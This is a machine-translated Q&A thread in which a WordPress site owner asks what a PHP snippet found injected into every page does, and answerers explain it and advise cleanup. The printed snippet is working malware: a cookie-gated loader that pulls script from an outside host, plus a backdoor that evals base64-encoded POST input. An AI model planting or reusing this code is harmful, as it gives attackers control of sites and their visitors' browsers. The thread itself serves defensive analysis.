2011-09-14 85 views
5

有人请告知这个PHP代码会做什么?我有PHP只在每个.php页面上找到这个代码,其他页面像js/css/php.ini他们很好..是这个恶意代码?如果是,请建议如何预防它们?这个php脚本会做什么?是恶意的PHP代码?

下面是代码,

global $sessdt_o; 
if(!$sessdt_o) { 
    $sessdt_o = 1; 
    $sessdt_k = "lb11"; 
    if([email protected]$_COOKIE[$sessdt_k]) { 
     $sessdt_f = "102"; 
     if([email protected]_sent()) { 
      @setcookie($sessdt_k,$sessdt_f); 
     } else { 
      echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; 
     } 
    } else { 
     if($_COOKIE[$sessdt_k]=="102") { 
      $sessdt_f = (rand(1000,9000)+1); 
      if([email protected]_sent()) { 
       @setcookie($sessdt_k,$sessdt_f); 
      } else { 
       echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; 
      } 
      $sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; 
      $sessdt_v = urlencode(strrev($sessdt_j)); 
      $sessdt_u = "http://vekra.ee/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
      echo "<script src='$sessdt_u'></script>"; 
      echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
     } 
    } 
    $sessdt_p = "showimg"; 
    if(isset($_POST[$sessdt_p])){ 
     eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 
     exit; 
    } 
} 
+0

你是如何得到这段代码的?你的PHP文件在你不知情的情况下被修改过 – Ali

+0

嗨阿里,我只是打开FileZila FTP,然后发现每个PHP页面上次修改时间为2011年9月14日上午4时01分14秒(印度时间),然后我打开文件,并找到此代码。它真的很奇怪。 – DBTutor

+0

我的网站也得到了这个文件... – Pinch

回答

1

它更可能将你重定向每一页到攻击者的网站。 @将停止任何错误,因此您不会从此脚本获取任何日志。

如果您希望自己的网站正常工作,则应将其删除。

编辑:它不重定向,但它会在您的网页上注入任何想要的东西。 检查cookie的脚本的第二部分将从他的网站添加一个JavaScript,并可以做恶意的事情。

最后一部分,我不认为任何人都可以猜到它是什么,因为它依赖于一些变量后,这就是$_POST['showimg'],我猜他攻击你的网站与POST。

要做的事:改变你的密码,检查你的文件的写权限,他们不应该是0777,备份数据库和WordPress模板,删除WordPress安装并重新安装从头开始。在你的模板中搜索他的代码,然后添加你清理过的模板。

+0

感谢Mihai的回复。我的网站是基于WordPress 3.2.1这是最新的WP版本。几乎我网站上的每个php页面都受到影响。即使wp-admin + wp-包含页面。我真的很担心,Kindly建议我现在要做的事情..再次感谢帮助 – DBTutor

+0

Mahai,我有php.ini访问我的服务器,并使用php.ini禁用函数功能,使一些php库函数变得混乱。是[eval |打开| fclose | fputs | base64_decode | is_writable | opendir]等。请建议它是好的。 – DBTutor

1

我还没有仔细研究,但只行

eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 

显示我已经一点的是,如果不是恶意的,那么非常非常接近 - 有代码注入可能。

0

你的问题不是代码本身,它是如何到达那里摆在首位。您需要检查文件/文件夹的写入权限,以确保外部没有人可以修改它们。

你提到你正在使用wordpress,请阅读this article关于加强WordPress的安全性。我建议你锁定你的博客(如果可行),直到你解决了你的安全问题。

0

作为一名安全分析师,我相信它会将您重定向到一个可能的恶意网站,当且仅当您没有该cookie时。如果您已经拥有该cookie,那么该脚本会知道您已经在那里并可能研究恶意软件,从而不执行重定向。该图像可能像一个侦测调试器预设API ..这只是我的看法。